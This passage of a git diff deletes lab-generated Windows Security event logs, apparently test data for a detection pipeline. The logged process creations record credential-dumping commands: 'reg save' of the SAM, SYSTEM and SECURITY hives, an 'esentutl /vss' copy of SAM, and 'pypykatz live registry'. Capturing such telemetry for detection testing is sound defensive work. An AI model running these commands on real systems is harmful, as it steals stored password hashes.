is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -11/24/2021 02:28:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257875 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: reg save HKLM\security C:\Users\ADMINI~1\AppData\Local\Temp\security - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -11/24/2021 02:28:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257874 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: reg save HKLM\system C:\Users\ADMINI~1\AppData\Local\Temp\system - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. diff --git a/bin/ssa-end-to-end-testing/modules/data/windows-security_small.txt b/bin/ssa-end-to-end-testing/modules/data/windows-security_small.txt deleted file mode 100644 index dd750fd80e..0000000000 --- a/bin/ssa-end-to-end-testing/modules/data/windows-security_small.txt +++ /dev/null @@ -1,7993 +0,0 @@ -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257891 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257890 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257889 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257888 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257887 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257886 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257885 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257884 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257883 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257882 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257881 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Windows\System32\VSSVC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\vssvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257880 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257879 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257878 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1200 - New Process Name: C:\Windows\System32\esentutl.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x47c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: esentutl.exe /y /vss C:\Windows/system32/config/SAM /d C:\Users\ADMINI~1\AppData\Local\Temp/SAM - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257877 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x47c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "esentutl.exe /y /vss %SystemRoot%/system32/config/SAM /d %temp%/SAM" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257876 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xca4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "pypykatz live registry" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257875 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x62c - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: reg save HKLM\security C:\Users\ADMINI~1\AppData\Local\Temp\security - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257874 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1258 - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: reg save HKLM\system C:\Users\ADMINI~1\AppData\Local\Temp\system - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257873 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x794 - New Process Name: C:\Windows\System32\reg.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: reg save HKLM\sam C:\Users\ADMINI~1\AppData\Local\Temp\sam - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257872 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\cmd.exe" /c "reg save HKLM\sam %temp%\sam & reg save HKLM\system %temp%\system & reg save HKLM\security %temp%\security" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257968 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257967 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257966 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257965 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257964 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257963 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257962 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257961 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257960 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 10:48:15 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257959 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: 